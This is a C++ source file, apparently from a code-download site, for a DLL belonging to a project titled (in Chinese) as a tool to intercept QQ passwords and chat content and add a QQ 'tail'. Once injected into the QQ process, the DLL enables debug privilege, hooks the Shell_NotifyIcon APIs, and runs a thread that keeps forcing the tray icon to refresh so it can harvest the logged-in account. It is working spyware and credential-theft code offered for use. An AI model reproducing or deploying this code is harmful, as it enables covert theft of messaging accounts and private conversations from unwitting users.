gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/dllRemoteThread/dllRemoteThread.cpp
// dllRemoteThread.cpp : Defines the initialization routines for the DLL. // #include "stdafx.h" #include "dllRemoteThread.h" #include "CommonFunc.h" #include "APIHook.h" #include "QQMate.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // // 跨进程空间共享的数据段 // #pragma data_seg("Shared") DWORD g_dwInvokerPID = 0; HWND g_hWndInvoker = NULL; t_RemoteThreadPara *f_pRemoteThreadPara = NULL; #pragma data_seg() #pragma comment(linker, "/Section:Shared,rws") t_RemoteThreadPara *g_pRemoteThreadPara = NULL; // // 本dll内全局变量 // CString g_csCurModuleBaseName; HANDLE g_hThread_InjectQQ = NULL; HANDLE m_hEvtEndModule = NULL; extern CQQMate *m_pQQMate; typedef BOOL (WINAPI *PFN_Shell_NotifyIconA) ( DWORD dwMessage, PNOTIFYICONDATA lpdata ); BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata ); CAPIHook g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA", (PROC) Hook_Shell_NotifyIconA, TRUE); typedef BOOL (WINAPI *PFN_Shell_NotifyIconW) ( DWORD dwMessage, PNOTIFYICONDATA lpdata ); BOOL WINAPI Hook_Shell_NotifyIconW ( DWORD dwMessage, PNOTIFYICONDATA lpdata ); CAPIHook g_Shell_NotifyIconW ("shell32.dll", "Shell_NotifyIconW", (PROC) Hook_Shell_NotifyIconW, TRUE); // // 该函数只能被自己的程序调用,不要被远程进程调用 // DLL_INTERNAL void WINAPI SetRemoteParameter ( LPVOID pParaAddrss, HWND hWndInvoker ) { HwDbgLog ( L_DEBUG|L_ONLY_LOGFILE, _T("pParaAddrss = 0x%x"), pParaAddrss ); if ( pParaAddrss ) { f_pRemoteThreadPara = (t_RemoteThreadPara*)pParaAddrss; } g_dwInvokerPID = GetCurrentProcessId (); if ( ::IsWindow(hWndInvoker) ) g_hWndInvoker = hWndInvoker; } BOOL EnableDebugPrivilege(BOOL fEnable) { BOOL fOk = FALSE; // Assume function fails HANDLE hToken; // Try to open this process's access token if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return(fOk); } BOOL Hook_Shell_NotifyIcon ( DWORD dwMessage, PNOTIFYICONDATA lpdata ) { Log ( L_DEBUG, _T("dwMessage : %d, szTip = %s, hIcon = 0x%X, hWnd = 0x%X"), dwMessage, lpdata->szTip, lpdata->hIcon, lpdata->hWnd ); if ( m_pQQMate ) m_pQQMate->Handle_TrayNotify ( dwMessage, lpdata ); return TRUE; } // This is the Shell_NotifyIconA replacement function BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata ) { if ( CurrentIsQQProcess() ) { // Log ( L_VERBOSE, _T("Hook_Shell_NotifyIconA() 函数被调用") ); Hook_Shell_NotifyIcon ( dwMessage, lpdata ); } // Call the original Shell_NotifyIconA function BOOL bResult = ((PFN_Shell_NotifyIconA)(PROC) (g_Shell_NotifyIconA) ) (dwMessage, lpdata); // Return the result back to the caller return bResult; } // This is the Shell_NotifyIconW replacement function BOOL WINAPI Hook_Shell_NotifyIconW ( DWORD dwMessage, PNOTIFYICONDATA lpdata ) { if ( CurrentIsQQProcess() ) { // Log ( L_VERBOSE, _T("Hook_Shell_NotifyIconW() 函数被调用") ); Hook_Shell_NotifyIcon ( dwMessage, lpdata ); } // Call the original Shell_NotifyIconW function BOOL bResult = FALSE; bResult = ((PFN_Shell_NotifyIconW)(PROC) g_Shell_NotifyIconW ) (dwMessage, lpdata); // Return the result back to the caller return bResult; } BOOL HookAPI () { if ( CurrentIsQQProcess() ) { Log ( L_DEBUG, "HookAPI() " ); g_Shell_NotifyIconA.Hook(); g_Shell_NotifyIconW.Hook (); } return TRUE; } DWORD WINAPI ThreadProc_InjectQQ ( LPVOID lpParameter ) { Log ( L_DEBUG, _T("ThreadProc_InjectQQ() Start, PID = %d"), GetCurrentProcessId() ); HookAPI (); if ( !m_pQQMate ) m_pQQMate = new CQQMate ( GetCurrentProcessId(), GetProgramDir() ); if ( !m_pQQMate ) return FALSE; if ( !m_pQQMate->Init() ) { Log ( L_ERROR, _T("Initialize QQMate object failed") ); return FALSE; } HANDLE hEvtQQRecreateTray = CreateEvent ( NULL, TRUE, FALSE, QQRecreateTray_Event_Name ); if ( !HANDLE_IS_VALID(hEvtQQRecreateTray) ) { HwDbgLog ( L_OUT_DLG|L_ERROR, _T("Create kernel event failed.") ); return FALSE; } HANDLE hAryEvt[] = { m_hEvtEndModule, hEvtQQRecreateTray }; DWORD dwTime_NotifyQQRecreateTray = 0, dwTime_OneSecTimer = 0; while ( TRUE ) { DWORD dwRet = ( ::WaitForMultipleObjects ( sizeof(hAryEvt)/sizeof(hAryEvt[0]), hAryEvt, FALSE, 1*1000 ) - WAIT_OBJECT_0 ); DWORD dwNow = GetTickCount(); // 系统将终止 if ( dwRet == 0 ) break; // 调用者通知刷新托盘图标来获取用户账号信息 else if ( dwRet == 1 ) { if ( dwNow - dwTime_NotifyQQRecreateTray > 1000 ) { dwTime_NotifyQQRecreateTray = dwNow; if ( m_pQQMate && !m_pQQMate->Get_LocalQQAccount().IsEmpty() ) { HwDbgLog ( L_DEBUG, _T("调用者通知刷新托盘图标来获取用户账号信息") ); NotifyQQRecreateTray (); } } else { Sleep ( 100 ); } } //------------------------------------------- // 1 秒定时器 //------------------------------------------- if ( dwNow - dwTime_OneSecTimer >= 1000 ) { dwTime_OneSecTimer = dwNow; if ( m_pQQMate && m_pQQMate->Get_LocalQQAccount().IsEmpty() ) { // 定时 HookAPI,刷新托盘图标 HookAPI (); NotifyQQRecreateTray (); } } } HwDbgLog ( L_OUT_DLG|L_DEBUG, _T("ThreadProc_InjectQQ() END") ); return TRUE; } // // Note! // // If this DLL is dynamically linked against the MFC // DLLs, any functions exported from this DLL which // call into MFC must have the AFX_MANAGE_STATE macro // added at the very beginning of the function. // // For example: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // normal function body here // } // // It is very important that this macro appear in each // function, prior to any calls into MFC. This means that // it must appear as the first statement within the // function, even before any object variable declarations // as their constructors may generate calls into the MFC // DLL. // // Please see MFC Technical Notes 33 and 58 for additional // details. // ///////////////////////////////////////////////////////////////////////////// // CDllRemoteThreadApp BEGIN_MESSAGE_MAP(CDllRemoteThreadApp, CWinApp) //{{AFX_MSG_MAP(CDllRemoteThreadApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CDllRemoteThreadApp construction CDllRemoteThreadApp::CDllRemoteThreadApp() { // TODO: add construction code here, // Place all significant initialization in InitInstance } ///////////////////////////////////////////////////////////////////////////// // The one and only CDllRemoteThreadApp object CDllRemoteThreadApp theApp; BOOL CDllRemoteThreadApp::InitInstance() { g_csCurModuleBaseName = hwGetModuleBaseName (); ASSERT ( !g_csCurModuleBaseName.IsEmpty () ); HwDbgLog ( L_ONLY_LOGFILE, "InitInstance(), Current PID = %d", GetCurrentProcessId() ); // 防止跨进程空间共享里的数据被其他进程修改,这里先将数据保存到进程空间中 ASSERT ( !g_pRemoteThreadPara ); g_pRemoteThreadPara = f_pRemoteThreadPara; if ( CurrentIsQQProcess () ) { EnableDebugPrivilege ( TRUE ); if ( g_pRemoteThreadPara ) { Log ( L_ONLY_LOGFILE, _T("g_pRemoteThreadPara = 0x%x, hWndInvoker = 0x%X"), g_pRemoteThreadPara, g_hWndInvoker ); } // 启动一个在远程进程空间中执行的线程 m_hEvtEndModule = ::CreateEvent ( NULL, TRUE, FALSE, NULL ); DWORD dwThreadID = 0; g_hThread_InjectQQ = ::CreateThread ( NULL, 0, ThreadProc_InjectQQ, NULL, 0, &dwThreadID ); if ( !HANDLE_IS_VALID(g_hThread_InjectQQ) || !HANDLE_IS_VALID(m_hEvtEndModule) ) { AfxMessageBox ( _T("Inject QQ failed.") ); return FALSE; } Log ( L_ONLY_LOGFILE, "创建远程进程空间中的线程, m_hEvtEndModule = 0x%X, g_hThread_InjectQQ = 0x%X", m_hEvtEndModule, g_hThread_InjectQQ ); } else { HwDbgLog ( L_ONLY_LOGFILE, "当前不是QQ进程。" ); } return CWinApp::InitInstance(); } int CDllRemoteThreadApp::ExitInstance() { HwDbgLog ( L_ONLY_LOGFILE, "ExitInstance(), Current PID = %d, g_pRemoteThreadPara = 0x%X", GetCurrentProcessId(), g_pRemoteThreadPara ); if ( CurrentIsQQProcess () ) { // 结束远程进程空间中的线程 if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::SetEvent ( m_hEvtEndModule ); // AfxMessageBox ( _T("WaitForThreadEnd Start.") ); WaitForThreadEnd ( &g_hThread_InjectQQ ); // AfxMessageBox ( FormatString(_T("WaitForThreadEnd End. g_hThread_InjectQQ = 0x%X"), g_hThread_InjectQQ ) ); if ( HANDLE_IS_VALID(m_hEvtEndModule) ) ::CloseHandle ( m_hEvtEndModule ); m_hEvtEndModule = NULL; if ( m_pQQMate ) delete m_pQQMate; m_pQQMate = NULL; // 远程线程:释放调用者为我申请的内存空间 if ( g_pRemoteThreadPara ) { if ( VirtualFreeEx ( NULL, g_pRemoteThreadPara, 0, MEM_RELEASE ) ) { Log ( L_ONLY_LOGFILE, "VirtualFreeEx ( 0x%x ) failed !!", g_pRemoteThreadPara ); } Log ( L_ONLY_LOGFILE, "VirtualFreeEx ( 0x%x ) successfully.", g_pRemoteThreadPara ); g_pRemoteThreadPara = NULL; } EnableDebugPrivilege ( FALSE ); } return CWinApp::ExitInstance(); }